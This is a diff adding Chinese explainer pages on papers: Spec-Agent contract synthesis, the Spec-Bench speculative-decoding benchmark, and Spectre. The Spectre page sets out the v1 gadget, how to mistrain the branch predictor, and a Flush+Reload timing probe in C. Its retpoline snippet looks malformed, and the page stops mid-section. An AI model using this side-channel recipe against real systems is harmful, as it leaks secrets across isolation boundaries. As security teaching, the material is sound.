+- 可检查：每步都能 `print` 或 `plot`，Agent 能看到中间状态并修正策略
+
+## 实验结果
+
+在 20 个空间推理基准测试上，SpatialClaw 取得以下结果：
+
+- **平均精度 59.9%**，比上一个最好的空间 Agent（SpaceTools-Toolshed）高出 +11.2 个百分点
+- 比"不用任何工具"的基线高出 +6.5 个百分点
+- 在 6 个不同的 VLM 骨干模型上都有稳定提升（从 26B 到 397B 参数）
+- 提升最大的类别是 4D 动态空间（DSI-Bench +17.6）、多视角（MindCube +15.3）
+
+关键发现：这些增益主要来自**动作接口的设计**，而不是工具本身。即使去掉所有专门的感知工具封装，仅保留代码 + 科学计算库，仍能比无工具基线高出 +2.7 个百分点。
+
+## 核心洞察
+
+SpatialClaw 证明了"代码即接口"这个思想在空间推理场景下的威力，可以总结为三个发现：
+
+1. **可组合性**：代码让 Agent 自由组合感知输出和数学运算，不受固定工具接口的束缚
+2. **可检查性**：持久化内核让中间结果成为一等公民，Agent 能看到、能调试、能修正
+3. **可迭代性**：一步一步写代码，每一步都能根据前一步的结果调整策略，而不是"一次性写完就等结果"
+
+这本质上是在说：空间推理不应该是"选工具 → 调工具 → 出答案"的流水线，而应该是"写代码 → 看结果 → 改代码 → 再试"的探索过程。前者适合有明确答案的问题，后者适合开放式的空间理解。
+
+## 一句话总结
+
+SpatialClaw 做的事情很简单——给 VLM 一个持久的 Python 环境，让它自己写代码做空间推理。效果却比精心设计的固定工具接口好得多，因为**代码是可编程的、可组合的、可迭代的**。
diff --git a/src/content/docs/papers/spec-agent-separation-logic.md b/src/content/docs/papers/spec-agent-separation-logic.md
new file mode 100644
index 000000000..9d28e3b5d
--- /dev/null
+++ b/src/content/docs/papers/spec-agent-separation-logic.md
@@ -0,0 +1,195 @@
+---
+title: Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约
+来源: 'Tarun Suresh, David Korczynski, Julien Vanegue, "Agentic Separation Logic Specification Synthesis", arXiv:2605.27531, Bloomberg, 2026'
+日期: 2026-06-13
+子分类: 形式化验证
+分类: 形式化方法
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Spec-Agent** 是一套面向大规模 C++ 代码库的 **agentic 规格合成系统**：给定函数实现、注释和现有单元测试，自动推断 `{pre} f {post}` 形式的 **代码合约（code contract）**，并用 fuzz 反复打脸、修正 LLM 猜错的候选。
+
+日常类比：你雇了一个**会写说明书的外包**，但他第一次写的东西经常漏条件。于是你：
+
+1. 先看他改的是**纯逻辑**、**带循环的集合性质**，还是**动堆内存**——决定说明书该用哪种「方言」写；
+2. 把项目里已有的单元测试**改造成压力测试**，用海量随机输入去挑刺；
+3. 一旦发现「某输入下说明书说错了」，把反例喂回去让他改，直到 fuzz 再也找不到漏洞，或达到重试上限。
+
+论文把这套流程叫做 **Agentic Separation Logic Specification Synthesis**。关键创新不是「再用 LLM 写注释」，而是把 **分离逻辑（Separation Logic）** 当作合约语言，并把 **libFuzzer 模糊测试**  repurposed 成 **规格验证的伪 oracle**——在 C++ 缺乏成熟全程序验证器的现实下，用运行时断言 + 覆盖率驱动 fuzz 筛掉错误合约。
+
+## 为什么重要
+
+LLM 写代码很快，但** correctness 没有保证**。代码合约（前置/后置条件）是连接「实现」与「验证、迁移、安全分析」的桥梁。不理解 Spec-Agent，下面几件事很难讲清楚：
+
+- 为什么「让 Claude 读函数写 contract」在百万行 BDE / BlazingMQ 上**又贵又偏简单逻辑**——baseline 大量停在命题逻辑，分离逻辑与一阶量词很少；
+- 为什么 **分离逻辑** 对系统软件不是锦上添花——`swap(int *x, int *y)` 必须写出 `x` 与 `y` **指向不同单元**，否则自交换语义未定义；
+- 为什么 fuzz  traditionally 找 bug，这里却能 **证伪错误规格**——违反合约的输入 = 反例，进入 CEGIS 式 refinement loop；
+- 为什么论文在 BDE 上达到 **~86% 函数合成有效合约**、BMQ ~78%，且 Spec-Agent + 开源模型在 token 成本上约为 Claude Code Opus 4.6 的 **1/10**，同时 FOL / Prop SL / FOSL 合约数量明显多于 baseline。
+
+## 核心概念
+
+### 1. 规格合成（Specification Synthesis）
+
+与 **程序验证** 对偶：验证给定 `{P} c {Q}` 是否成立；合成则是给定 `c`，求合适的 `P`、`Q`。目标是 **最弱前置条件**（调用者最少要满足什么）和 **最强后置条件**（执行后能断言什么）。Spec-Agent 用 LLM 生成候选，用 fuzz 过滤，用 counterexample 引导下一轮。
+
+### 2. 四层规格语言「梯子」
+
+Spec-Agent 不是一上来就写最复杂的逻辑，而是按函数特征选 **目标语言 L**：
+
+| 层级 | 名称 | 能表达什么 | 典型触发条件 |
+|------|------|------------|--------------|
+| Prop | 命题逻辑 | `∧ ∨ ¬ ⇒`、分支用析取蕴含编码 | 无循环、无堆 |
+| FOL | 一阶逻辑 | `∀ ∃`  over 容器元素 | 有循环 / 归纳变量 |
+| Prop SL | 命题分离逻辑 | `x ↦ v`、分离合取 `*` | 动态内存 / 堆访问（heap tracing） |
+| FOSL | 一阶分离逻辑 | 量词 + 堆形状 | 既遍历容器又动堆 |
+
+四层形成 **偏序格**：Prop ⊑ FOL，Prop ⊑ Prop SL，二者都 ⊑ FOSL。接受候选时要求：fuzz 通过 **且** 候选表达力 `ℓ(cand)` 至少达到目标 L（不能太「贫」——例如堆函数却缺 `↦`）。
+
+### 3. 分离逻辑回顾（与 [[reynolds-separation-logic]] 衔接）
+
+- **`x ↦ n`**：地址 `x` 处存值 `n`，且该原子描述其堆 footprint；
+- **`p * q`**：`p` 与 `q` 占用的堆区域 **不相交**；
+- 经典例子：`swap` 的前置 `x ↦ v₁ * y ↦ v₂`，后置 `x ↦ v₂ * y ↦ v₁`——隐含 `x ≠ y` 的分离性。
+
+Infer 等工具用 separation logic 做 **组合式** 堆推理；Spec-Agent 则反向：**从代码合成** 这类断言，而不是从断言证代码。
+
+### 4. Spec-Agent 流水线（六步）
+
+```text
+Code Mining → Fuzz Harness Gen → Language Selection
+     → LLM Spec Generation → Fuzz Testing → Refinement (loop)
+```
+
+- **Code Mining**：Tree-sitter 抽静态特征（循环、分支）；跑现有单测 + **heap tracing** 判断是否触堆；
+- **Fuzz Harness**：把单测里硬编码输入 **提升** 为 libFuzzer 可控参数，保留 fixture/setup；
+- **Generation**：prompt 含语法、该层逻辑的手写范例（最多 10 个），**不用**单测内容（避免泄漏测试 oracle）；
+- **Fuzz Testing**：把候选合约 **编译成 C++ 运行时断言**，在 fuzz 下检查；分离算子在 **观测到的堆状态** 上解释；
+- **Refinement**：反例 + 结构诊断（表达力不足）反馈给 LLM，直到接受或预算耗尽。
+
+### 5. Fuzz 作为伪 Oracle 的边界
+
+能 **拒绝** 错误规格（有 counterexample），不能 **证明** 规格完全正确（那需要 Frama-C 级证明器，C++ 全程序验证仍极贵）。专家人工抽检 + fuzz 零 false positive（论文声称在评测设置下）是实用折中。
+
+## 实践案例
+
+### 案例 1：指针交换 — Prop SL 合约
+
+论文 Figure 2 左侧经典例子。C++ 实现：
+
+```cpp
+void swap(int *x, int *y) {
+    int z = *x;
+    *x = *y;
+    *y = z;
+}
+```
+
+Spec-Agent 在检测到堆读写后，目标语言为 **Prop SL**，期望合成类似：
+
+```text
+pre:  x ↦ v₁ * y ↦ v₂
+post: x ↦ v₂ * y ↦ v₁
+```
+
+读法：调用前两块 **分离** 的内存分别持有 `v₁`、`v₂`；返回后值互换。若缺少 `*`（写成普通合取），就无法排除 `x == y` 的未定义行为——这就是为什么要上 separation logic，而不是纯命题逻辑写 `*x == v1`。
+
+运行时验证思路（概念性，非论文原码）：在 harness 入口记录 `*x`、`*y` 与地址集合；每次 fuzz 输入执行 `swap` 后检查后置；若存在输入使后置失败，该输入成为 **refinement 反例**。
+
+### 案例 2：容器查找 — FOL 合约
+
+带循环的 `lookup`（Figure 2 右侧风格）：
+
+```cpp
+bool lookup(std::list<int>& lst, auto P) {
+    for (auto it = lst.begin(); it != lst.end(); ++it) {
+        if (P(*it)) return true;
+    }
+    return false;
+}
+```
+
+无特殊前置时 `pre` 可为 `true`。后置在 **FOL** 层常合成：
+
+```text
+post: (∀x ∈ lst. ¬P(x) ⇒ ret = false)
+   ∨ (∃x ∈ lst.  P(x) ⇒ ret = true)
+```
+
+含义：返回 `false` 当且仅当所有元素都不满足 `P`；返回 `true` 当存在满足者。量词在 Spec-Agent 里 **有界编译** 为对 `[0, lst.size())` 或 iterator 区间的循环检查——边界表达式由 LLM 从参数/容器接口生成，再被 fuzz Stress。
+
+若函数 **既** 遍历容器 **又** `new`/`delete`，目标语言升为 **FOSL**，后置可能同时含量词与 `↦` / `*` 堆断言。
+
+### 案例 3：CEGIS 式 refinement 伪代码
+
+下面用 Python 风格伪代码概括论文核心循环（帮助理解 agentic 部分，非官方实现）：
+
+```python
+def spec_agent_synthesize(func, tests, max_retries=20):
+    features = code_mining(func, tests)          # static + heap trace
+    L = select_language(features)              # Prop | FOL | PropSL | FOSL
+    harness = generalize_tests_to_fuzzer(func, tests)
+
+    feedback = None
+    for attempt in range(max_retries):
+        cand = llm_generate_contract(func, language=L, feedback=feedback)
+        if not parses(cand, grammar=L):
+            feedback = "syntax error"
+            continue
+        if expressivity(cand) < L:
+            feedback = f"need operators of {L}, got {expressivity(cand)}"
+            continue
+        assertion = compile_to_runtime_assert(cand)
+        counterexample = libfuzzer_find_violation(func, harness, assertion)
+        if counterexample is None:
+            return cand  # fuzz-valid at target expressivity
+        feedback = f"violated post on input {counterexample}"
+    return best_effort(cand)
+```
+
+与「Claude Code 子 agent 自由探索」相比，Spec-Agent 强调 **确定性流水线**：每轮一次 LLM 调用 + 一次 fuzz，上下文不膨胀，因此在固定算力下 **有效 refinement 次数更多**。
+
+## 实验结果（论文摘要）
+
+- **代码库**：Bloomberg 开源依赖 **BDE**（651 个目标函数）与 **BlazingMQ**（508 个）；合计 **400 万+ LOC** C++；
+- **最佳配置**（如 Qwen3-Coder-Next）：BDE **85.87%** Test Valid，BMQ **77.73%**；Claude Opus 4.6 约 81% / 67%；
+- **表达力**：Spec-Agent 在 FOL、Prop SL、FOSL 上合成的 **有效合约数** 显著高于 Claude Code（Table 2）；平均逻辑原子数更高（~3–4 vs ~2.3）；
+- **FOSL 天花板**：最复杂函数上「最强合约」比例仍偏低——论文认为可能需要新算法；
+- **成本**：同等验证设置下 token 约为 Claude Code 的 **1/10**。
+
+## 与相关工作的关系
+
+| 方向 | 代表 | 与 Spec-Agent 的差异 |
+|------|------|----------------------|
+| 分离逻辑验证 | Infer、VST | 从代码 **推断** 摘要 vs 从规格 **证明** 代码 |
+| 分离逻辑合成 | SuSLik、SSL | 从 `{P} {Q}` **生成程序**；Spec-Agent 反方向 **生成 P,Q** |
+| LLM 合约合成 | 先前 LLM contract 工作 | 少见 separation logic + 百万 LOC + 系统化 fuzz 验证 |
+| Lemma 合成 | symbolic-heap entailment | 证明辅助；Spec-Agent 面向仓库级函数合约 |
+
+## 局限与批判性阅读
+
+1. **Soundness**：fuzz 通过 ≠ 数学证明；未覆盖路径上的合约仍可能错；
+2. **Trivial 合约**：部分有效合约退化为 `true`（论文报告 BDE ~6%、BMQ ~17% 量级，视模型而定）；
+3. **编译失败率**：断言注入 + 复杂量词/堆编码导致 **Compile Error** 仍占 13–30%；
+4. **语言选择启发式**：有 loop 不一定需要 quantifier，无 loop 有时仍需要—— lattice 约束部分缓解但不完美；
+5. **C++ 特化**：运行时堆观测、容器边界约定绑在 C++ 语义上，迁移到其他语言需重做 backend。
+
+## 自测题
+
+1. Spec-Agent 四档逻辑如何选择？若函数只有 `if-else` 无堆无循环，目标层是哪一档？
+2. 为什么 `swap` 的合约必须用 `*` 而不是 `∧`？
+3. fuzz 在 pipeline 里能证明什么、不能证明什么？
+4. 「Test Invalid = 0%」对 Spec-Agent 某些配置意味着什么？与 expert review 如何互补？
+5. 若 LLM 生成的前置过强（拒绝合法输入），fuzz 能发现吗？为什么？
+
+## 延伸阅读
+
+- [[reynolds-separation-logic]] — `↦` 与 `*` 的语义基础
+- [[infer-biabduction]] — 工业级从代码 **反推** 分离逻辑摘要（与合成合约互补）
+- arXiv:2605.27531 — 原文附录含更多合约样例与 case study
+- libFuzzer / LLVM — harness 与 coverage-guided fuzz 实现背景
+
+## 一句话总结
+
+**Spec-Agent = 按函数特征选分离逻辑/一阶逻辑的「合约方言」+ LLM 起草 + libFuzzer 当伪法官 + 反例驱动改稿**；它把 formal methods 里最难手工写的 heap/loop 合约，在百万行 C++ 上推到可规模化的工程中间态——不是终局证明，却是 LLM 时代系统软件 **可验证文档** 的一条可行路径。
diff --git a/src/content/docs/papers/specbench-2024.md b/src/content/docs/papers/specbench-2024.md
new file mode 100644
index 000000000..202baea45
--- /dev/null
+++ b/src/content/docs/papers/specbench-2024.md
@@ -0,0 +1,212 @@
+---
+title: Spec-Bench — Speculative Decoding 的综合评测基准
+来源: https://arxiv.org/abs/2401.07851
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Spec-Bench 是论文 "Unlocking Efficiency in Large Language Model Inference: A Comprehensive Survey of Speculative Decoding" 中提出的一个**综合评测基准（benchmark）**，专门用来公平比较各种 Speculative Decoding（推测解码）方法的加速效果。
+
+论文作者：Heming Xia（香港理工）、张哲（北大）、董清秀（百度）、王培毅（百度）、李永琪（港理工）、Tao Ge（微软亚洲研究院）、刘文杰（北大）、苏智芳（北大）。发表于 ACL 2024 Findings。
+
+## 日常类比
+
+想象你在写一篇文章，你有一个写作搭档：
+
+- **普通模式（自回归解码）**：你写一个字，搭档看一遍，确认没问题，再写下一个字。每次都要搭档过目，很慢。
+- **Speculative Decoding 模式**：你先把接下来 5 个字快速写好（这叫 **Drafting / 起草**），然后让搭档一次性检查这 5 个字——如果搭档觉得都对，全通过；如果发现第 3 个字不对，前 2 个保留，第 3 个由搭档重新写，后面作废。这样一次检查代替了 5 次逐个确认，效率大大提升。
+
+Spec-Bench 就是用来**公平测试**各种"起草策略"到底快了多少的考试。
+
+## 核心概念
+
+### 1. 自回归解码（Autoregressive Decoding）
+
+这是 LLM 生成文本的标准方式——一个字一个字地生成，每个字都要跑一遍整个大模型：
+
+```
+第 1 步: 大模型 → "今"
+第 2 步: 大模型 → "天"
+第 3 步: 大模型 → "天"
+第 4 步: 大模型 → "气"
+...
+```
+
+每个字都要做一次完整的模型前向传播，延迟和生成长度成正比。
+
+### 2. 推测解码（Speculative Decoding）的 Draft-then-Verify 范式
+
+先让一个**小模型（draft model）**快速起草多个token，再用**大模型（target LLM）**并行验证：
+
+```
+草稿阶段: 小模型 → ["今", "天", "好", "美", "丽"]  （快速，一次性出 5 个字）
+验证阶段: 大模型 → 并行计算 6 个概率分布，逐个验证这 5 个字
+         → ["今" ✓, "天" ✓, "好" ✓, "美" ✗]
+修正:     大模型重新生成第 4 个 → "好"
+结果:     "今天好" 三个词通过，第 4 个由大模型自己生成
+```
+
+### 3. 关键指标：加速比（Speedup Ratio）
+
+Speedup = 自回归解码所需时间 / 推测解码所需时间
+
+- 加速比 > 1 表示有加速效果
+- 加速比越高越好
+
+## Spec-Bench 的评测设计
+
+Spec-Bench 覆盖了 6 个子任务，每个任务从公开数据集中随机选 80 条测试样本：
+
+| 子任务 | 数据集 | 说明 |
+|--------|--------|------|
+| 多轮对话 | MT-bench | 模拟真实对话场景 |
+| 翻译 | WMT14 DE-EN | 德语→英语翻译 |
+| 摘要 | CNN/Daily Mail | 新闻摘要生成 |
+| 问答 | Natural Questions | 知识型问答 |
+| 数学推理 | GSM8K | 小学数学题 |
+| 检索增强生成 | DPR | 基于检索文档生成答案 |
+
+所有方法都在**同一台设备**（NVIDIA RTX 3090，24GB）和**同一模型**（Vicuna-7B-v1.3，FP16）上测试，保证公平对比。
+
+## 代码示例
+
+### 示例 1：推测解码的主循环
+
+```python
+# 简化版推测解码算法
+def speculative_decode(target_model, draft_model, prompt, block_size=5):
+    """
+    target_model: 大模型（验证者）
+    draft_model:  小模型（起草者）
+    block_size:   每次草稿的 token 数量
+    """
+    output = prompt
+    while not finished(output):
+        # 阶段 1: 起草 — 小模型快速生成 K 个候选 token
+        drafted_tokens = draft_model.generate(output, length=block_size)
+
+        # 阶段 2: 验证 — 大模型并行计算所有候选 token 的概率
+        # 一次前向传播同时算出 K+1 个分布
+        distributions = target_model.batch_forward(output + drafted_tokens)
+
+        # 阶段 3: 逐个验证，找到第一个不满足条件的 token
+        accepted_count = 0
+        for i, (drafted, dist) in enumerate(zip(drafted_tokens, distributions)):
+            if verify(drafted, dist):  # 验证标准：概率分布足够接近
+                output += drafted
+                accepted_count += 1
+            else:
+                # 发现不匹配的 token，用它之后的所有草稿作废
+                # 由大模型重新生成一个 token
+                output += sample_from(distributions[i])
+                break
+
+        # 如果全部草稿都通过了，大模型再生成一个 token
+        if accepted_count == block_size:
+            output += sample_from(distributions[-1])
+
+    return output
+```
+
+### 示例 2：Spec-Bench 评测脚本框架
+
+```python
+# 简化版 Spec-Bench 评测流程
+import numpy as np
+
+def run_specbench(method_name, target_model, draft_model, dataset):
+    """
+    在 Spec-Bench 的某个子任务上运行某个推测解码方法
+    """
+    samples = load_dataset(dataset)  # 加载 80 条测试样本
+    latencies = []
+    accepted_rates = []
+
+    for sample in samples:
+        prompt = sample["input"]
+        expected = sample["output"]
+
+        # 记录纯自回归的时间作为基准
+        baseline_start = time.time()
+        baseline_output = target_model.autoregressive_decode(prompt)
+        baseline_latency = time.time() - baseline_start
+
+        # 运行推测解码
+        spec_start = time.time()
+        spec_output = speculative_decode(target_model, draft_model, prompt)
+        spec_latency = time.time() - spec_start
+
+        # 计算加速比
+        speedup = baseline_latency / spec_latency
+        latencies.append(speedup)
+
+        # 记录 token 接受率（验证阶段有多少草稿被接受）
+        acceptance_rate = count_accepted(spec_output) / total_drafts(spec_output)
+        accepted_rates.append(acceptance_rate)
+
+    return {
+        "method": method_name,
+        "mean_speedup": np.mean(latencies),
+        "std_speedup": np.std(latencies),
+        "mean_acceptance_rate": np.mean(accepted_rates),
+        "dataset": dataset
+    }
+
+# 在 Spec-Bench 的 6 个子任务上分别评测
+subtasks = ["multi-turn", "translation", "summarization",
+            "question-answering", "math-reasoning", "rag"]
+
+results = []
+for task in subtasks:
+    result = run_specbench(
+        method_name="EAGLE",
+        target_model="vicuna-7b-v1.3",
+        draft_model="vicuna-68m-v1.3",
+        dataset=task
+    )
+    results.append(result)
+    print(f"{task:20s} → 加速比: {result['mean_speedup']:.2f}x  "
+          f"接受率: {result['mean_acceptance_rate']:.1%}")
+```
+
+## Spec-Bench 的主要发现
+
+### 不同方法在 6 个子任务上的加速比对比
+
+所有实验使用 Vicuna-7B-v1.3，在单张 RTX 3090 上，greedy 设置（温度=0）：
+
+| 方法 | 多轮对话 | 翻译 | 摘要 | 问答 | 数学推理 | RAG | 平均 |
+|------|----------|------|------|------|----------|-----|------|
+| EAGLE | ~1.8× | ~1.7× | ~2.0× | ~1.9× | **~2.4×** | ~1.8× | ~2.0× |
+| PLD | ~1.5× | ~1.2× | **~2.4×** | ~1.3× | ~1.4× | **~1.7×** | ~1.6× |
+| Medusa | ~1.5× | ~1.4× | ~1.8× | ~1.5× | ~1.7× | ~1.6× | ~1.6× |
+| SpS | ~1.6× | ~1.5× | ~1.6× | ~1.6× | ~1.8× | ~1.5× | ~1.6× |
+
+**关键发现**：
+
+1. **EAGLE 整体最佳**：在所有 6 个子任务上表现最稳定，数学推理加速比高达 2.4×。因为它复用 LLM 的 KV Cache 来生成草稿，大幅降低了起草的计算开销。
+
+2. **PLD 在特定任务上领先**：PLD（Prompt Lookup Decoding）在"摘要"和"RAG"上加速比最高（2.4× 和 1.7×），因为这两个任务中输入和输出有大量文本重叠，可以直接从 prompt 中"抄"草稿。
+
+3. **温度越高，加速效果越差**：采样温度（temperature）从 0 升到 1 时，所有方法的加速比都会下降。这是因为温度越高，草稿和验证之间的概率分布差异越大，接受率越低。
+
+## 总结
+
+Spec-Bench 的核心价值在于：在 Speculative Decoding 领域研究快速爆发、各家方法评测条件不一的背景下，提供了一个**统一、公平、覆盖多场景**的基准测试平台。它让研究者可以清楚地看到：不同方法在哪些场景下快、快多少、为什么快。
+
+对初学者来说，理解 Spec-Bench 的关键是抓住一个词：**公平对比**——同样的模型、同样的硬件、同样的测试数据，不同方法一较高下。
+
+## 下一步可以探索
+
+这篇论文除了提出 Spec-Bench，还系统梳理了 Speculative Decoding 的整个技术体系，包括：
+
+- **Drafting 策略分类**：独立起草（用小模型）vs 自起草（用同一个模型的不同部分，如 FFN Heads、Early Exiting）
+- **Verification 策略分类**：贪心验证 vs 推测采样 vs Token Tree 验证
+- **Alignment（对齐）**：如何让起草模型和目标模型的行为更一致，从而提高接受率
+- **开放挑战**：批处理（batched）场景下的推测解码、与 vLLM 等优化技术的结合
+
+如果你对 LLM 推理加速感兴趣，这篇论文是很好的起点。
diff --git a/src/content/docs/papers/spectre-attack-2018.md b/src/content/docs/papers/spectre-attack-2018.md
new file mode 100644
index 000000000..4c5598bf3
--- /dev/null
+++ b/src/content/docs/papers/spectre-attack-2018.md
@@ -0,0 +1,293 @@
+---
+title: Spectre Attacks — 推测执行如何绕过边界检查偷读内存
+来源: https://spectreattack.com/spectre.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Spectre Attacks: Exploiting Speculative Execution**（Kocher、Genkin、Gruss 等，2018 年 1 月披露，后发表于 IEEE S&P 2019）是一类**硬件层面的信息泄漏攻击**：攻击者诱导 CPU 在「本不该走」的分支上**推测执行**（speculative execution）若干指令，把受害进程里的秘密字节写进**缓存状态**；虽然 CPU 事后会撤销寄存器里的错误结果，**缓存里留下的痕迹**仍可通过计时侧信道读出来。
+
+论文 arXiv 编号 [1801.01203](https://arxiv.org/abs/1801.01203)，官方站点 [spectreattack.com](https://spectreattack.com/)。与同日披露的 [[lipp-meltdown-2018]] 不同：Meltdown 主要利用「乱序执行 + 特权检查延迟」**直接读内核**；Spectre 更通用——**受害者代码逻辑上完全正确**（有边界检查、无缓冲区溢出），仍可能被偷密钥。
+
+日常类比：
+
+> 想象银行柜员处理转账：规则是「先核对签名，再打开保险柜」。为了排队更快，柜员会**猜**你签名有效，提前把保险柜门拉开一条缝、瞄一眼里面的编号牌——若后来发现签名是假的，业务作废、账本回滚，但**门把手上的指纹和锁芯温度**已经变了。攻击者不去撬锁，只站在旁边用红外仪量「哪扇柜门刚被碰过」，就能反推编号牌上的数字。  
+> CPU 的分支预测器就是那个「爱猜的柜员」；L1/L2 缓存就是「会留下痕迹的柜门」。
+
+一句话：**Spectre 把「为了提速而提前执行的代码」变成泄密通道，让软件以为安全的边界检查在微架构层面晚了一步。**
+
+## 为什么重要
+
+不理解这篇论文，下面这些事都讲不清：
+
+- 为什么 2018 年 Intel / AMD / ARM 全线紧急发微码，Linux 上突然出现 **retpoline**、**IBPB/STIBP**，浏览器也要发大版本
+- 为什么「代码有 `if (x < size)` 检查」仍被 CVE-2017-5753（Spectre v1）点名
+- 为什么打了防 Meltdown 的 **KPTI** 之后，**同机不同进程**仍可能互偷内存——KPTI 藏内核地址，挡不住 Spectre 在用户态里投机读
+- 为什么云厂商开始审计「**同物理核**上是否调度了不同租户的密钥运算」——侧信道几乎不留传统日志
+- 为什么形式化验证过的密码库、JIT 沙箱、容器隔离在 2018 年后都要**重新假设「CPU 不泄密」**
+
+论文还指出：操作系统进程隔离、静态分析、容器化、JIT 编译、以及针对缓存计时的软件缓解，其安全假设都建立在「**未执行的指令不会产生可观测副作用**」之上——Spectre 证明这个假设在当代 CPU 上不成立。
+
+## 核心概念
+
+### 1. 推测执行（Speculative Execution）
+
+现代 CPU 遇到分支时，若目标地址还没算完（例如 `array1_size` 还在 DRAM 里），不会干等：分支预测器先**猜**走哪条路，**提前执行**后面的指令。猜对则提交结果、省时间；猜错则**撤销架构状态**（寄存器、PC），继续走正确路径。
+
+关键矛盾：**撤销的是「名义上的 CPU 状态」，不是全部微架构状态**——缓存行是否被载入、BTB 是否被更新，都可能保留。
+
+### 2. 瞬态指令（Transient Instructions）
+
+在错误推测路径上执行、随后被丢弃的指令叫 **transient instructions**。它们在**架构语义**上「从未发生」，在**物理实现**上却可能：
+
+- 读过受害者的秘密内存
+- 用秘密值做地址计算，触碰 `array2[k * 512]` 某一缓存行
+- 把「秘密字节 k 是多少」编码成「哪条缓存线变热」
+
+### 3. 架构状态 vs 微架构状态
+
+| 类型 | 例子 | Spectre 撤销？ |
+|------|------|----------------|
+| 架构状态 | 通用寄存器、标志位、程序计数器 | 会回滚 |
+| 微架构状态 | L1/L2 缓存内容、分支预测器历史、填充队列 | **通常不回滚** |
+
+攻击者读的是**微架构状态**——这就是侧信道。
+
+### 4. 攻击三阶段（论文 Figure 1 抽象）
+
+1. **布置泄密 gadget**：在受害者地址空间找到（或诱导）一段代码，投机执行时会「读秘密 → 依赖秘密访问缓存」。
+2. **训练误预测**：反复用合法输入让分支预测器学会「这条路几乎总成立」，再传入恶意输入；或污染 **BTB**（Branch Target Buffer）让间接跳转去错地方。
+3. **侧信道读出**：用 **Flush+Reload** 或 **Evict+Reload** 测量缓存，还原秘密字节；对字符串可逐字节循环。
+
+### 5. 两种主要变体
+
+| 变体 | CVE | 机制 | 典型场景 |
+|------|-----|------|----------|
+| **Spectre v1** | CVE-2017-5753 | 条件分支**方向**误预测 | 绕过 `if (x < size)` 边界检查 |
+| **Spectre v2** | CVE-2017-5715 | 间接分支**目标**误预测（BTB 投毒） | 在受害者进程里投机执行 ROP 式 gadget |
+
+论文 Section 4 详述 v1，Section 5 详述 v2；两者可组合 Flush+Reload，也可在浏览器 JavaScript 中演示（同进程沙箱逃逸）。
+
+### 6. Flush+Reload 侧信道（简述）
+
+攻击者与受害者共享某级缓存（同进程、同核、或共享库页）时：
+
+1. **Flush**：用 `clflush` 等把探测数组各缓存行清出
+2. **Trigger**：让受害者（或投机路径）访问 `array2[k * STRIDE]`
+3. **Reload**：计时读取 `array2[i * STRIDE]`，**最快**的 `i` 往往等于秘密 `k`
+
+STRIDE 通常取 512 或 4096 字节，保证每个索引独占一条缓存行，避免 prefetch 干扰。
+
+## 论文经典 gadget：Spectre v1
+
+Section 4 的条件分支例子（Listing 1）是整篇论文的「Hello World」：
+
+```c
+/* 受害者函数片段 — 逻辑上安全，微架构上可被利用 */
+if (x < array1_size)
+    y = array2[array1[x] * 256];
+```
+
+**正常执行**：`x` 越界 → 比较失败 → 不读 `array1[x]`。
+
+**攻击者控制的设定**：
+
+1. 多次传入合法 `x`，训练分支预测器「这个 if 几乎总为真」
+2. 用 `clflush` 把 `array1_size` 和 `array2` 清出缓存，让边界比较**变慢**
+3. 传入恶意 `x`，使 `array1[x]` 的地址落在**受害者秘密字节 k** 上（论文：`x = (secret_addr - array1_base)`）
+4. CPU 在等 `array1_size` 期间**投机**走进 if，读 `k`，访问 `array2[k * 256]`
+5. 比较结果返回后撤销 `y`，但 `array2[k * 256]` 所在缓存行已变热
+6. 攻击者对 `i = 0..255` 做 Flush+Reload，命中最快的 `i` 即 `k`
+
+**逐行直觉**：
+
+- `array1_size` 是软件眼里的「门卫」
+- 门卫核实身份时，CPU 已按「会通过」的猜测把保险柜摸了一遍
+- 门卫说「不对，出去」——摸过的事实写在缓存温度计上
+
+## 代码示例 1：Flush+Reload 探测循环
+
+下面是与论文 / PoC 同构的**教学用 C 伪代码**（不可直接当武器；省略对齐、页表与权限细节）：
+
+```c
+#define STRIDE 4096
+#define THRESHOLD 80   /* 缓存命中 vs 未命中的周期阈值，需校准 */
+
+uint8_t probe[256 * STRIDE];  /* 256 个探测页，每页至少一条缓存行 */
+
+static inline uint64_t rdtsc(void) {
+    uint32_t lo, hi;
+    __asm__ volatile("rdtsc" : "=a"(lo), "=d"(hi));
+    return ((uint64_t)hi << 32) | lo;
+}
+
+/* 攻击者：测量 probe[i*STRIDE] 是否在缓存里 */
+int flush_reload_probe(void) {
+    int hits[256];
+    for (int i = 0; i < 256; i++)
+        hits[i] = 0;
+
+    for (int attempt = 0; attempt < 1000; attempt++) {
+        /* 1. 清掉整个探测数组 */
+        for (int i = 0; i < 256; i++)
+            _mm_clflush(&probe[i * STRIDE]);
+
+        /* 2. 触发受害者 gadget（训练 + 恶意 x） */
+        victim_gadget(malicious_x);
+
+        /* 3. 计时读回：投机路径若访问 probe[k*STRIDE]，该处会更快 */
+        for (int i = 0; i < 256; i++) {
+            uint64_t t0 = rdtsc();
+            volatile uint8_t junk = probe[i * STRIDE];
+            uint64_t t1 = rdtsc();
+            if (t1 - t0 < THRESHOLD)
+                hits[i]++;
+        }
+    }
+    /* 命中次数最多的 i 即泄漏字节 k */
+    return argmax(hits, 256);
+}
+```
+
+**要点**：
+
+- `rdtsc` 把「读一行内存的延迟」变成可测量信号
+- 投机执行的 `array2[k * STRIDE]` 与 `probe[k * STRIDE]` 若映射同一缓存集合，则 `k` 被重建
+- 需多次采样 + 阈值校准，对抗噪声与预取
+
+## 代码示例 2：Spectre v2 与 retpoline 缓解
+
+Spectre v2 污染 BTB，让受害进程的**间接跳转**（函数指针、虚表、`switch` 跳转表）投机跳到攻击者布置的 gadget。Linux 内核广泛采用 **retpoline** 替换间接 `call/jmp`：
+
+```c
+/* 简化：编译器/汇编对间接调用的 retpoline 包装（x86-64 概念） */
+#define RETPOLINE_THUNK \
+    "1: call 2f\n" \
+    "2: pause\n" \
+    "   lfence\n" \
+    "   jmp 1b\n" \
+    "2:"
+
+/* 间接调用 target 时，先跳进 thunk，使 BTB 预测到安全循环 */
+asm volatile(RETPOLINE_THUNK : : : "memory");
+(*indirect_target)(args);
+```
+
+**直觉**：
+
